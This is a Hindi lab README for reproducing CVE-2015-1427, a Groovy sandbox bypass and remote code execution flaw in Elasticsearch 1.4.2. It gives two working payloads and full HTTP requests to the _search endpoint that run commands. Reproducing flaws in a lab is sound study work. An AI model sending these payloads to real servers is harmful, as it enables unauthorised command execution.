
CVE-2015-1427 ElasticSearch Groovy सैंडबॉक्स बाईपास और रिमोट कोड निष्पादन के लिए Docker-आधारित लैब वातावरण, जो Java रिफ्लेक्शन और Groovy कमांड निष्पादन के साथ दो POC विधियों का प्रदर्शन करता है।
jre संस्करण: openjdk:8-jre
elasticsearch संस्करण: v1.4.2
संदर्भ लेख:
CVE-2014-3120 के बाद, ElasticSearch की डिफ़ॉल्ट डायनेमिक स्क्रिप्टिंग भाषा Groovy में बदल दी गई और एक सैंडबॉक्स जोड़ा गया, लेकिन डिफ़ॉल्ट रूप से डायनेमिक भाषा का सीधा निष्पादन अभी भी समर्थित है। यह भेद्यता: 1. एक सैंडबॉक्स बाईपास है; 2. एक Groovy कोड निष्पादन भेद्यता है।
ElasticSearch "सैंडबॉक्स में" Groovy भाषा को डायनेमिक स्क्रिप्ट के रूप में उपयोग करने का समर्थन करता है, लेकिन स्पष्ट रूप से आधिकारिक कार्य अच्छी तरह से नहीं किया गया था। lupin और tang3 ने क्रमशः कमांड निष्पादित करने के दो तरीके प्रस्तावित किए:
चूंकि Java कोड निष्पादन के लिए एक सैंडबॉक्स है, lupin की विधि सैंडबॉक्स को बायपास करने का एक तरीका खोजना है, जैसे कि Java रिफ्लेक्शन का उपयोग करना।
Groovy मूल रूप से भी एक भाषा है, इसलिए tang3 ने एक अलग दृष्टिकोण अपनाया, Groovy भाषा द्वारा समर्थित विधियों का उपयोग करके सीधे कमांड निष्पादित किया, बिना Java भाषा का उपयोग किए।
इसलिए, इन दो निष्पादन भेद्यता विचारों के अनुसार, हम दो अलग-अलग POC प्राप्त कर सकते हैं।
Java सैंडबॉक्स बाईपास विधि:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Groovy सीधे कमांड निष्पादन विधि:
def command='id';def res=command.execute().text;res
संकलन और परीक्षण वातावरण चलाएँ
docker-compose build
docker-compose up -d
चूंकि क्वेरी करने के लिए es में कम से कम एक डेटा होना आवश्यक है, इसलिए निम्नलिखित डेटा पैकेट भेजें और एक डेटा जोड़ें:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
फिर पेलोड युक्त डेटा पैकेट भेजें और कोई भी कमांड निष्पादित करें:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
